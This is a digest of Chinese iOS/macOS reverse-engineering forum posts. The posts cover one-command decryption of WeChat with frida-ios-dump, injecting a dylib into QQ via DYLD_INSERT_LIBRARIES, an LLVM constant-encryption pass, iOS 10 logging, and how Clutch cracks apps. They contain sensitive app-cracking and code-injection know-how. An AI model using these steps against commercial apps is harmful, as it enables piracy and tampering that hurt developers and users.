上文对很多的反调试原理做了总结, 也有一些没有讲到原理. 读者可以自行研究.
附录
// syscall hook http://siliconblade.blogspot.jp/2013/07/offensive-volatility-messing-with-os-x.html https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-bosse_eriksson-kernel_patching_on_osx.pdf http://d.hatena.ne.jp/hon53/20100926/1285476759 https://papers.put.as/papers/ios/2011/SysScan-Singapore-Targeting_The_IOS_Kernel.pdf https://www.blackhat.com/docs/us-15/materials/us-15-Diquet-TrustKit-Code-Injection-On-iOS-8-For-The-Greater-Good.pdf
ios kext load
https://github.com/LinusHenze/anyKextLoader https://github.com/Jailbreaks/trident-kloader https://github.com/saelo/ios-kern-utils https://github.com/xerub/kexty
Posts: 6
Participants: 5
@AloneMonkey wrote:
背景
最早的砸壳工具是stefanesser写的dumpdecrypted,通过手动注入然后启动应用程序在内存进行dump解密后的内存实现砸壳,这种砸壳只能砸主App可执行文件。
对于应用程序里面存在framework的情况可以使用conradev的dumpdecrypted,通过_dyld_register_func_for_add_image注册回调对每个模块进行dump解密。
但是这种还是需要拷贝dumpdecrypted.dylib,然后找路径什么的,还是挺麻烦的。所以笔者干脆放到MonkeyDev模板变成一个tweak的形式dumpdecrypted,这样填写目标bundle id然后看日志把文件拷贝出来就可以了。
但是还是很麻烦,需要拷贝文件自己还原ipa,然后有了KJCracks的Clutch通过posix_spawnp创建进程然后dump直接生成ipa包在设备,可以说是很方便了。这个是工具在使用的时候大部分应用会出报错,此外生成的包还需要自己拷贝。
一键dump
人都是想偷懒的,于是便有了本文将要介绍的frida-ios-dump,该工具基于frida提供的强大功能通过注入js实现内存dump然后通过python自动拷贝到电脑生成ipa文件,通过以下方式配置完成之后真的就是一条命令砸壳。
环境配置
首先上面也说了该工具基于frida,所以首先要在手机和mac电脑上面安装frida,安装方式参数官网的文档:https://www.frida.re/docs/home/
如果mac端报如下错:
Uninstalling a distutils installed project (six) has been deprecated and will be removed in a future version. This is due to the fact that uninstalling a distutils project will only partially uninstall the project.
使用如下命令安装即可:
sudo pip install frida –upgrade –ignore-installed six
然后将越狱设备通过USB连上电脑进行端口映射:
iproxy 2222 22
到此环境就配置好了,接下来就可以一键砸壳了! (另当前python基于2.x的语法,先切换到python 2.x的环境
一键砸壳
最简单的方式直接使用./dump + 应用显示的名字即可,如下:
➜ frida-ios-dump ./dump.py 微信 open target app...... Waiting for the application to open...... start dump target app...... start dump /var/containers/Bundle/Application/6665AA28-68CC-4845-8610-7010E96061C6/WeChat.app/WeChat WeChat 100% 68MB 11.4MB/s 00:05 start dump /private/var/containers/Bundle/Application/6665AA28-68CC-4845-8610-7010E96061C6/WeChat.app/Frameworks/WCDB.framework/WCDB WCDB 100% 2555KB 11.0MB/s 00:00 start dump /private/var/containers/Bundle/Application/6665AA28-68CC-4845-8610-7010E96061C6/WeChat.app/Frameworks/MMCommon.framework/MMCommon MMCommon 100% 979KB 10.6MB/s 00:00 start dump /private/var/containers/Bundle/Application/6665AA28-68CC-4845-8610-7010E96061C6/WeChat.app/Frameworks/MultiMedia.framework/MultiMedia MultiMedia 100% 6801KB 11.1MB/s 00:00 start dump /private/var/containers/Bundle/Application/6665AA28-68CC-4845-8610-7010E96061C6/WeChat.app/Frameworks/mars.framework/mars mars 100% 7462KB 11.1MB/s 00:00 AppIcon60x60@2x.png 100% 2253 230.9KB/s 00:00 AppIcon60x60@3x.png 100% 4334 834.8KB/s 00:00 AppIcon76x76@2x~ipad.png 100% 2659 620.6KB/s 00:00 AppIcon76x76~ipad.png 100% 1523 358.0KB/s 00:00 AppIcon83.5x83.5@2x~ipad.png 100% 2725 568.9KB/s 00:00 Assets.car 100% 10MB 11.1MB/s 00:00 ....... AppIntentVocabulary.plist 100% 197 52.9KB/s 00:00 AppIntentVocabulary.plist 100% 167 43.9KB/s 00:00 AppIntentVocabulary.plist 100% 187 50.2KB/s 00:00 InfoPlist.strings 100% 1720 416.4KB/s 00:00 TipsPressTalk@2x.png 100% 14KB 2.2MB/s 00:00 mm.strings 100% 404KB 10.2MB/s 00:00 network_setting.html 100% 1695 450.4KB/s 00:00 InfoPlist.strings 100% 1822 454.1KB/s 00:00 mm.strings 100% 409KB 10.2MB/s 00:00 network_setting.html 100% 1819 477.5KB/s 00:00 InfoPlist.strings 100% 1814 466.8KB/s 00:00 mm.strings 100% 409KB 10.3MB/s 00:00 network_setting.html 100% 1819 404.9KB/s 00:00
如果存在应用名称重复了怎么办呢?没关系首先使用如下命令查看安装的应用的名字和bundle id:
➜ frida-ios-dump git:(master) ✗ ./dump.py -l PID Name Identifier ----- ------------------------- ---------------------------------------- 9661 App Store com.apple.AppStore 16977 Moment com.kevinholesh.Moment 1311 Safari com.apple.mobilesafari 16586 信息 com.apple.MobileSMS 4147 微信 com.tencent.xin 10048 相机 com.apple.camera 7567 设置 com.apple.Preferences - CrashReporter crash-reporter - Cydia com.saurik.Cydia - 通讯录 com.apple.MobileAddressBook - 邮件 com.apple.mobilemail - 音乐 com.apple.Music ......
然后使用如下命令对指定的bundle id应用进行砸壳即可:
➜ frida-ios-dump git:(master) ✗ ./dump.py -b com.tencent.xin
等待自动砸壳传输完成之后便会到当前目录生成一个解密后的ipa文件,这个时候赶紧拖到MonkeyDev开始逆向之旅吧!
Posts: 5
Participants: 4
@webfrog wrote:
前言
在 macOS 的逆向中,除了直接修改二进制文件外,针对使用 Objective-C 语言的原生 App,编写动态链接库来实现将代码逻辑动态注入到 App,也是一种逆向方式。将动态链接库注入到 App,一般通过两种方式,一种是修改 Mach-O 文件的 load command,而另外一种就是在运行 App 的二进制文件时,添加
DYLD_INSERT_LIBRARIES
环境变量,让 dyld 来加载我们的动态库。利用
DYLD_INSERT_LIBRARIES
这个特性,我们可以自己构造一个全新的 App 来完成代码注入。当运行这个注入 App 之后,就会把我们的动态库,注入到指定的 App 中。目前常见的 macOS 的逆向的项目中,大多是提供一个 shell 脚本,这个脚本通过 ‘insert_dylib’ 或者类似的工具,修改原 App 的可执行文件来实现代码注入的。而通过构造动态注入 App 的方式,可以避免对原 App 的修改,对原 App 没有任何影响。如果用户通过注入 App 来打开,则可以运行我们修改后的代码,而如果打开的是原 App, 则是 App 本身的代码,而且只要原 App 升级后没有影响到我们 hook 的函数,用户可以正常对 App 进行升级。App 文件结构
macOS 系统(包括 iOS 系统)的 App 文件,其实是一个文件夹,里面按照指定的格式,放置了 App 所需要的所有文件,比如可执行文件、图片资源、动态库等等。打开
Finder
,在Applications
文件夹中随便找一个后缀是.app
的文件点击鼠标右键,选择Show Package Contents
,就能看到其中的内容了。在这些文件中,Contents/MacOS
文件夹里,放置的就是 App 的可执行文件,Contents/Frameworks
中,放置了 App 自带的一些动态库,而我们就从这两个地方着手,构建我们的注入 App。生成注入 App
对一个 App 来说,可执行文件不一定非要是使用源代码编译链接后生成的,一个拥有执行权限的 shell 脚本,也是可以的。接下来,以注入 QQ 这个 App 为例来说明如何生成一个注入 App。
动态链接库
新建一个 macOS 下的动态库工程,最终生成名为
libQQInject.dylib
的动态链接库。为了演示,这个库的作用仅仅是在 App 打开后,在控制台输出一个 log,证明动态库已经运行起来。代码如下:__attribute__((constructor)) void myentry() { NSLog(@"QQ is Injected successfully!!!"); }
创建 App
新建一个文件夹,命名为 QQInject.app,并创建一个子文件夹,名字叫 Contents
拷贝动态库
在
QQInject.app/Contents
下创建一个名为 Frameworks 的文件夹,将动态链接库libQQInject.dylib
拷贝到这个文件夹中。编写启动脚本
在
QQInject.app/Contents
下新建文件夹 MacOS,然后在这个文件夹下新建一个 shell 脚本文件,名字为 QQInject注意:这个步骤中,脚本文件的名字必须与 App 名字保持一致。
以下是 shell 脚本内容:
#!/bin/sh CurrentAppPath=$(cd $(dirname $0) && cd .. && pwd) DYLD_INSERT_LIBRARIES=${CurrentAppPath}/Frameworks/libQQInject.dylib /Applications/QQ.app/Contents/MacOS/QQ
注意: 这里默认了 QQ 的 App 安装在了
/Applications
路径下使用以下命令为脚本增加可执行权限
chmod +x QQInject.app/Contents/MacOS/QQInject
优化
至此,注入 App 已经可以运行了,试着双击以下这个新生成的 App,然后你会发现 QQ 已经运行起来,同时在系统的 console 中,可以找到一条日志:
QQ is Injected successfully!!!
注入成功,但是同时你会发现一些问题。接下来继续做优化
系统 Dock 图标
首先发现的一个问题就是,App 运行后,系统 Dock 图标不是 QQ 的图标,而是一个默认的应用图标。解决这个问题办法就是在
QQInject.app/Contents
下新建一个 Info.plist 文件,内容如下:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>LSUIElement</key> <true/> </dict> </plist>
再次运行
QQInject.app
后,系统 Dock 上已经是 QQ 的图标了。脚本化
上面的整个过程都是固定的流程,可以编写一个 shell 脚本来完成从动态库 build 到 注入 App 生成的整个过程。
最后
本文只是提供一个代码注入更加方便使用的思路,为了把逆向的结果更方便的使用。其中很多地方的逻辑并不是很严谨,比如被注入 App 不一定就安装在
/Applications
路径下,这就交给大家来自己写一个逻辑来判断啦~~参考资料
Posts: 1
Participants: 1
@Zhang wrote:
本文的前置要求: 已阅读 自己动手实现基于llvm的字符串加密 这篇文章包含大量的基础概念。
在正向开发,尤其是单机游戏开发中,开发者常常饱受Cheat-Engine 八门神器类的内存修改器攻击。常见的保护方法是手动做大量的加密解密操作,这会导致无比巨大的人力成本和维护成本,本文将教会你Hack LLVM并使用80行代码来在编译层解决这个问题。
考虑以下的代码:
static int flag=0; int main(int argc, char const *argv[]) { while(flag<13){ printf("Flag is %i not 13.Sleeping for another 5 seconds\n",flag); sleep(5); flag++; } printf("You've waited for %i seconds. Quite an effort!\n",flag); return 0; }
逻辑非常简单,从0开始循环判断flag值是不是13,如果是就打印信息并退出,否则睡眠5秒钟后继续循环。
使用
clang -S -emit-llvm
可获得如下的LLVM IR:; ModuleID = 'LLVMConstantEncryptionTest.m' source_filename = "LLVMConstantEncryptionTest.m" target datalayout = "e-m:o-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-apple-macosx10.13.0" @flag = internal global i32 0, align 4 @.str = private unnamed_addr constant [50 x i8] c"Flag is %i not 13.Sleeping for another 5 seconds\0A\00", align 1 @.str.1 = private unnamed_addr constant [48 x i8] c"You've waited for %i seconds. Quite an effort!\0A\00", align 1 ; Function Attrs: noinline optnone ssp uwtable define i32 @main(i32, i8**) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i8**, align 8 store i32 0, i32* %3, align 4 store i32 %0, i32* %4, align 4 store i8** %1, i8*** %5, align 8 br label %6 ; <label>:6: ; preds = %9, %2 %7 = load i32, i32* @flag, align 4 %8 = icmp slt i32 %7, 13 br i1 %8, label %9, label %15 ; <label>:9: ; preds = %6 %10 = load i32, i32* @flag, align 4 %11 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i32 0, i32 0), i32 %10) %12 = call i32 @"\01_sleep"(i32 5) %13 = load i32, i32* @flag, align 4 %14 = add nsw i32 %13, 1 store i32 %14, i32* @flag, align 4 br label %6 ; <label>:15: ; preds = %6 %16 = load i32, i32* @flag, align 4 %17 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([48 x i8], [48 x i8]* @.str.1, i32 0, i32 0), i32 %16) ret i32 0 } declare i32 @printf(i8*, ...) #1 declare i32 @"\01_sleep"(i32) #1 attributes #0 = { noinline optnone ssp uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+fxsr,+mmx,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+fxsr,+mmx,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0, !1, !2, !3, !4, !5, !6} !llvm.ident = !{!7} !0 = !{i32 1, !"Objective-C Version", i32 2} !1 = !{i32 1, !"Objective-C Image Info Version", i32 0} !2 = !{i32 1, !"Objective-C Image Info Section", !"__DATA,__objc_imageinfo,regular,no_dead_strip"} !3 = !{i32 4, !"Objective-C Garbage Collection", i32 0} !4 = !{i32 1, !"Objective-C Class Properties", i32 64} !5 = !{i32 1, !"wchar_size", i32 4} !6 = !{i32 7, !"PIC Level", i32 2} !7 = !{!"clang version 6.0.0 (trunk 318965) (llvm/trunk 318964)"}
可以看到IR中包含数个LoadInst和StoreInst用于加载和保存新的flag值,我们的设计思路是在加载后XOR解密出正确的数值,在写入前XOR来写入加密的数值
首先我们创建一个基础的Pass骨架:
/* LLVM ConstantEncryption Pass Copyright (C) 2017 Zhang(http://mayuyu.io) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "llvm/IR/Constants.h" #include "llvm/IR/IRBuilder.h" #include "llvm/IR/InstIterator.h" #include "llvm/IR/Instructions.h" #include "llvm/IR/Module.h" #include "llvm/IR/Value.h" #include "llvm/Pass.h" #include "llvm/Transforms/Obfuscation/Obfuscation.h"// 这是Hikari用的一些全局头文件,自己按照格式创建就好 #include <cstdlib> #include <fstream> #include <iostream> #include <string> using namespace llvm; using namespace std; namespace llvm { struct ConstantEncryption : public ModulePass { static char ID; bool flag; ConstantEncryption(bool flag): ModulePass(ID) { this->flag=flag; } ConstantEncryption(): ModulePass(ID) { this->flag=true; } bool runOnModule(Module& M)override { return true; } }; ModulePass * createConstantEncryptionPass() { return new ConstantEncryption(); } ModulePass * createConstantEncryptionPass(bool flag) { return new ConstantEncryption(flag); } }//namespace llvm char ConstantEncryption::ID = 0; INITIALIZE_PASS(ConstantEncryption, "constenc", "Enable ConstantInt GV Encryption.", true, true)
注意Pass里的Flag都是用于和我的开源混淆器Hikari对接所设计的接口,您如果自己玩耍并不需要这些。
然后第一步在
runOnModule
中遍历全局变量列表:for(auto GV=M.global_begin();GV!=M.global_end();GV++){ GlobalVariable *GVPtr=&*GV; }
在这个基本的循环中我们找到了所有的全局变量,对应上述IR中的:
@flag = internal global i32 0, align 4 @.str = private unnamed_addr constant [50 x i8] c"Flag is %i not 13.Sleeping for another 5 seconds\0A\00", align 1 @.str.1 = private unnamed_addr constant [48 x i8] c"You've waited for %i seconds. Quite an effort!\0A\00", align 1
接下来我们需要过滤哪些变量可以加密,哪些不能,由于我们是在编译单个源文件的过程中进行加密,所以我们必须过滤掉可以被其他源文件引用的变量,或者是声明在其他源文件中的变量。 前者通过判断全局变量是否有对应的初始化器(Initializer)来实现,后者通过判断全局变量的链接属性(LinkageType)来实现。
阅读上面的文档:private
Global values with “private” linkage are only directly accessible by objects in the current module. In particular, linking code into a module with a private global value may cause the private to be renamed as necessary to avoid collisions. Because the symbol is private to the module, all references can be updated. This doesn’t show up in any symbol table in the object file.这里告诉我们Private(私有)的LinkageType只能被当前源文件引用,这正符合我们上面所分析出的要求。
下面的:internal
Similar to private, but the value shows as a local symbol (STB_LOCAL in the case of ELF) in the object file. This corresponds to the notion of the ‘static’ keyword in C.告诉我们internal(内部)和私有非常相似,对应C语言中的static关键字,同样符合我们的要求。所以我们可以通过以下这行代码来过滤出我们需要的全局变量:
if(GVPtr->hasInitializer()&&(GVPtr->hasPrivateLinkage()||GVPtr->hasInternalLinkage())){ }
最后,我们需要确定全局变量的类型是一个整数,我们上文提到了初始化器(Initializer)的概念,阅读GlobalVariable的文档 可知我们可以通过
GlobalVariable::getInitializer()
来获取对应的初始化器,通过阅读LLVM Programmers’ Manual 可以了解到LLVM提供三个模版方法来实现运行时类型识别转换,类似C++的RTTI和reinterpret_cast
,但性能更快并且强制类型安全。
增加如下代码来判断初始化器的类型:if(ConstantInt *CI=dyn_cast<ConstantInt>(GVPtr->getInitializer())){ }
常用的为三个模版方法:
isa<类>(变量指针)
返回布尔类型,用于做运行时类型审查cast<类>(变量指针)
带有类型检查的类型转换,如果类型正确则返回新类型指针,否则会触发一个assertdyn_cast<类>(变量指针)
类似cast, 区别在于类型错误时返回null而不是assert接下来准备Key, LLVM要求类型安全并且并不会像编译器前端一样隐式添加零延伸,因此我们需要根据原来的整数宽度来准备XOR密钥:
IntegerType* IT=cast<IntegerType>(CI->getType()); uint8_t K=cryptoutils->get_uint8_t(); ConstantInt *XORKey=ConstantInt::get(IT,K);
注意这里的
cryptoutils->get_uint8_t();
是Obfuscator-LLVM提供的密码学安全的随机数生成器,您也可以使用其他方式来生成随机的XOR Key。
接下来有了XOR Key,我们先加密原来的全局变量。可以通过ConstantInt::getZExtValue()
来获取原来的常量数值ZExt到uint64_t后的数值:ConstantInt *newGVInit=ConstantInt::get(IT,CI->getZExtValue()^K); // 计算加密后的值并创建新的初始化器 GVPtr->setInitializer(newGVInit); // 将初始化器的值赋值给全局变量
接下来我们通过遍历这个全局变量的声明-使用链来找到所有引用了这个变量的指令并对LoadInst和StoreInst做正确的处理
- 声明-使用链 即Def-Use Chain,给定一个变量,找到所有引用处
- 使用-声明链 即Use-Def Chain,给定一个引用,找到所有可能的变量。
for(User *U : GVPtr->users()){ if(LoadInst *LI=dyn_cast<LoadInst>(U)){ Instruction* XORInst=BinaryOperator::CreateXor(XORKey,XORKey); XORInst->insertAfter(LI); LI->replaceAllUsesWith(XORInst); XORInst->setOperand(0,LI); }else if(StoreInst *SI=dyn_cast<StoreInst>(U)){ Instruction* XORInst=BinaryOperator::CreateXor(SI->getValueOperand(),XORKey); XORInst->insertBefore(SI); SI->replaceUsesOfWith(SI->getValueOperand(),XORInst); } }
在LoadInst的处理块中,我们先创建了一个没有任何卵用的XOR指令占位并插入到原来的Load指令之后,将后续对原始LoadInst的指令替换到我们的占位指令中。因为直接使用正确的左值LI来创建会导致后续的
replaceAllUsesWith
将我们的XOR指令的左值引用也替换成对自身的引用。最后将我们的占位XOR指令左值指向正确的LoadInst在对StoreInst的处理块中,我们同样创建了一个新的XOR指令,左值为原来的StoreInst所要保存的数值,右值为一开始我们创建的XOR Key,将这个指令插入到Store指令之前,并将原来的Store指令对未加密数值的引用替换成我们加密之后的结果。
然后就完工啦,完整代码如下。注意有一些小细节我们的示例用代码没有处理,处理这些情况就留做给读者的练习了:
/* LLVM ConstantEncryption Pass Copyright (C) 2017 Zhang(http://mayuyu.io) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "llvm/IR/Constants.h" #include "llvm/IR/IRBuilder.h" #include "llvm/IR/InstIterator.h" #include "llvm/IR/Instructions.h" #include "llvm/IR/Module.h" #include "llvm/IR/Value.h" #include "llvm/Pass.h" #include "llvm/Transforms/Obfuscation/Obfuscation.h"// 这是Hikari用的一些全局头文件,自己按照格式创建就好 #include <cstdlib> #include <fstream> #include <iostream> #include <string> using namespace llvm; using namespace std; namespace llvm { struct ConstantEncryption : public ModulePass { static char ID; bool flag; ConstantEncryption(bool flag): ModulePass(ID) { this->flag=flag; } ConstantEncryption(): ModulePass(ID) { this->flag=true; } bool runOnModule(Module& M)override { for(auto GV=M.global_begin();GV!=M.global_end();GV++){ GlobalVariable *GVPtr=&*GV; //Filter out GVs that could potentially be referenced outside of current TU if(GVPtr->hasInitializer()&&(GVPtr->hasPrivateLinkage()||GVPtr->hasInternalLinkage())){ if(ConstantInt *CI=dyn_cast<ConstantInt>(GVPtr->getInitializer())){ //Prepare Types and Keys IntegerType* IT=cast<IntegerType>(CI->getType()); uint8_t K=cryptoutils->get_uint8_t(); ConstantInt *XORKey=ConstantInt::get(IT,K); //Encrypt Original GV ConstantInt *newGVInit=ConstantInt::get(IT,CI->getZExtValue()^K); GVPtr->setInitializer(newGVInit); for(User *U : GVPtr->users()){ if(LoadInst *LI=dyn_cast<LoadInst>(U)){ // This is dummy Instruction so we can use replaceAllUsesWith // without having to hand-craft our own implementation // We will relace LHS later Instruction* XORInst=BinaryOperator::CreateXor(XORKey,XORKey); XORInst->insertAfter(LI); LI->replaceAllUsesWith(XORInst); XORInst->setOperand(0,LI); }else if(StoreInst *SI=dyn_cast<StoreInst>(U)){ Instruction* XORInst=BinaryOperator::CreateXor(SI->getValueOperand(),XORKey); XORInst->insertBefore(SI); SI->replaceUsesOfWith(SI->getValueOperand(),XORInst); } } } } } return true; } }; ModulePass * createConstantEncryptionPass() { return new ConstantEncryption(); } ModulePass * createConstantEncryptionPass(bool flag) { return new ConstantEncryption(flag); } }//namespace llvm char ConstantEncryption::ID = 0; INITIALIZE_PASS(ConstantEncryption, "constenc", "Enable ConstantInt GV Encryption.", true, true)
使用我们刚刚写的Pass加固开头的程序后的F5
Posts: 2
Participants: 2
@Rozbo wrote:
本文原载于我的ios10 NSLog无效?,其他未授权转载请联系楼主。
去年起,我接触到ios10的越狱开发,但发现ios10的
NSLog
是失效了(曾一度以为是Tweak失效了,各种蛋疼的测试,发现原来是NSLog的原因)。
既然发现了这个问题,那就必须试图解决,以下是我解决的过程,发出来给大家警个醒,以免大家重复踩坑。
其实这个问题的原因是因为在ios10,苹果更改了日志系统,添加了几个os_函数,其中就有os_log
,具体可以在看这个链接尝试历史
syslogd to /var/log/syslog
之前旧的版本一直是使用这个,其实这个小插件很简单,仅仅是在
/etc/syslog.conf
里面加了一句*.* /var/log/syslog
来把所有的日志导出到/var/log/syslog这个文件里。
结果,ios10下无效。idevicesyslog
这个工具是我一直使用的,在mac上通过数据线链接手机后,能在mac的控制台输出ios的日志,它的优点是能够输出颜色,非常的实用的一个小工具,与它一起的套件都非常的好用,共有
name idevice_id idevicecrashreport idevicedebugserverproxy ideviceimagemounter idevicename ideviceprovision idevicebackup idevicedate idevicediagnostics ideviceinfo idevicenotificationproxy idevicescreenshot idevicebackup2 idevicedebug ideviceenterrecovery ideviceinstaller idevicepair idevicesyslog 各个功能看名字就知道了,这里不再细表,可以通过
brew install libimobiledevice
来安装。
结果实测,idevicesyslog在ios下,不能够输出的Tweak的NSLog
socat
这个工具用来干这个事。。。也大才小用了吧。这个工具功能非常强大,这里不再专门讲解了。
deviceconsole
一番尝试之下,发现这个问题没有那么简单,于是百度了一下,结果出来个更坑爹的货,让用
deviceconsole
,还指出了github repo,结果我clone下来,一番编译,提示ld: framework not found MobileDevice clang: error: linker command failed with exit code 1 (use -v to see invocation)
这个报错意为找不到
MobileDevice
这个库,但是我去看过了以后,它明明在哪。。。搞的我也是一脸懵逼。后来猜想这个原因可能是因为这个库是私有库,而xcode9
可能不让链接私有库了。。
于是我建了一个软连接,才重新编译通过。
编译通过之后,发现没有这个执行权限,然后一番捣鼓,结果发现!!!!根!本!没!卵!用!!!
关于这个项目的更多信息,请移步我clone的repo,我修改后pull request,结果十多天了没人理我。。ondeviceconsole
最后,再次抱着试试看的态度,准备试试ondeviceconsole,如果还是不行的话,就只能呵呵,重写NSLog到os_log了。但所幸,这个是可用的。。。
Posts: 4
Participants: 4
@Zhang wrote:
原文地址 https://ubrigens.com/posts/demystifying_app_cracking.html
感觉很多新入逆向坑的同学缺乏一些底层的知识,随手翻到这玩意儿正好翻译一哈。晚点应该我再会写一篇手把手教新手如何自己写代码解密的文章。iOS的app是作为后缀为
.ipa
的包裹进行分发的. 这些包裹只不过是修改了后缀名的zip压缩包, 并且可以轻易的被合适的工具解包. 解压出的文件目录结构对我们来说用处不大并且已经在其他地方得到了很详细的解释 详见附录[1,2]对于一个破解者来说这其中最有价值的文件就是可执行文件, 可执行文件的路径可以通过查看Info.plist获得, 更准确地说,是键值
CFBundleExecutable
下的文本. 今天,绝大多数这些可执行文件都包含多个架构的代码,这种可执行文件被称之为胖二进制(Fat Binary),得名于它们包含诸如ARMv7, ARMv7s以及ARM64 (又被称之为ARMv8)等多个架构的代码。 Mac上使用同样的概念,区别是包含的架构一般是X86和X86_64在运行时,动态链接器 (几乎永远是 dyld)[译者注:一个特定的LoadCommand可以指定动态链接器的路径,但这并不在本文的范围内] 会检查二进制并找出最适合运行的架构(译注:下文每个架构又被称之为一片,Slice), 处理所有的加载指令并最终开始执行可执行文件. 更多关于可执行文件格式 - MachO - 以及不同类型加载指令的信息可以在Apple官网上找到,参见附录3 [3]. 以下是这个过程对于iPhone5图形化之后的结果:
大体上,OS内核可以被当作是一个自动解密可执行文件在当前硬件上运行效果最好的部分的黑箱。在这个例子中我们使用posix_spawn
来运行可执行文件,但实际上任何其他的类似的函数都可以. 为了简化这张图表,启动后内存中只有解密的部分这一事实被忽略了。在iOS上所有的第三方程序都必须由一个合法的Developer ID签名.代码签名也是通过一个加载指令来指出的,就在MachO头部(译注:此处指单个架构的MachO而非一开始提到的Fat Binary)之后。所以每个架构都有自己的代码签名,而不是整个胖二进制共享一个代码签名。 代码签名是由内核进行验证的,并且没有合法代码签名的进程将会收到一个来自内核的信号量使得他们完全无法被运。.在非越狱设备上,二进制(译注:指代码签名)的完整性是由内核负责确保的,而在越狱设备上一个app的大多数内容都是被允许改变的,因为至关重要的安全机制已经被越狱关闭了。 即便如此,可执行文件仍然需要一个代码签名才能正常运行,由一个名为ldid的工具生成的假签名就足够了
常见的解密工具,例如Clutch [4] ,使用一种并不优美的方式来解密尽可能多的架构。假设一个App包含上面提到的所有三个架构,Clutch就会给二进制的头部打三次补丁来分别强制让操作系统运行这三片各一次。 所以很显然只有当设备的硬件支持这种架构时这一方法才有效,这也意味着一台iPhone 6可以被用来给上面提到的所有三种架构解密,而iPhone 4S只能解密ARMv7部分。
下图是这一过程图形化的表示,再一次的,示例用的设备是iPhone 5.
在这个例子中,目标二进制包含全部三种架构,因为我们使用的iPhone5有一颗ARMv7s兼容的CPU,正常的情况下只有对应的ARMV7S片会被执行。Clutch 滥用了ARM处理器大体上都向前兼容这一事实,也就是说能运行ARMv7S的设备也能运行ARMV7. 总的来说,Clutch运行了这个App两次,即每个硬件支持的架构一次. 为了强制操作系统运行对应的片,Clutch将其他片的标记都修改成了Intel处理器。
每一片的解密过程的第一步都是用
posix_spawn
来创建一个新的维持在暂停状态的进程。这是通过给posix_spawn
传递Apple独有的标记POSIX_SPAWN_START_SUSPENDED
来实现的. 来自App的任何代码都不会被执行, 但是我们所要解密的app的代码已经自动的被操作系统解密完成。接下来,在通过使用task_for_pid
获取新的进程的mach_port
(译者注:原作者手癌了应该,这里应该是mach_task
,在Mach的结构下获取了一个进程的mach_task就相当于获取了这个进程的所有权限,可以任意读写目标进程的内存,task_for_pid
需要有get-task-allow
等一系列特别的Entitlements), 并将目标进程的内存复制到磁盘,最后Patch可执行文件的一些地方(比如说LC_ENCRYPTION_COMMAND这个加载指令中标记二进制是否被加密的标记位需要被更新) 后就开始处理下一片。如果你对细节感兴趣,可以阅读Clutch源码 [附录4].最后,所有解密的片被合并在一起。 因为iPhone 5不支持ARM64,所以输出的加密二进制只包含两篇。即使这样,由于ARM64向前兼容的原因,解密的二进制依旧可以正常在iPhone 6上运行 - 虽然可能会稍微慢一点点。
下面这几行跟主题关系不大我懒得翻了
App Thinning results in binaries that only contain one architecture, forcing crackers to use multiple devices to crack each individual slice and then manually combine them to create a version that runs on as many devices as possible. Bitcode on the other hand could allow Apple to create personalized versions of apps, allowing them to trace accounts that distribute cracked versions of an app (fittingly called traitor tracing in the literature). If used, both technologies will hopefully reduce the impact of application cracking on the revenue of iOS developers.Changelog:
June 17: Fixed date, changed title to better reflect the contents of this article.
September 10: Added disclaimer, added section on impact of App Thinning and Bitcode in iOS 9
Posts: 7
Participants: 4
@iblue wrote:
转自简书 https://www.jianshu.com/writer#/notebooks/4365539/notes/25491943
概述
本次分析,选取了小蚁摄像机App的iOS版本,主要目标是从数据缓存及数据传输方面探索App数据方面的安全性。
iOS系统中,本地缓存通常以数据库、plist、序列化文件、UserDefault、KeyChain等为媒介。其中UserDefault、KeyChain都采用iOS自带的加密方式,在不明确键值及密钥的情况下,基本上无法破解。
数据传输方面,在https普及后,App基本上都是采用这种方式进行的。虽然抓包已经失效,但并不代表不可以从App中获取发送的请求及响应,依然可以通过对关键请求进行hook,打印参数的方法来得到接口信息。
本次逆向使用非越狱手机进行,采用最暴力、最直接的方法 —— 打印日志。思路是先将libReveal.dylib、libCommonCrack.dylib等动态库注入App,通过classdump、Hopper得到关键函数,再对关键函数进行hook,打印信息,获取接口,暴力破解。
1 环境要求
iPhone手机,系统不做要求,越狱不做要求
Xcode及iOSOpenDev套件
yololib动态注入工具
Hopper Disassembler v4 反编译工具
Reveal 界面分析工具
小蚁摄像机iOS版本(2.19.3)
2 安装包破解
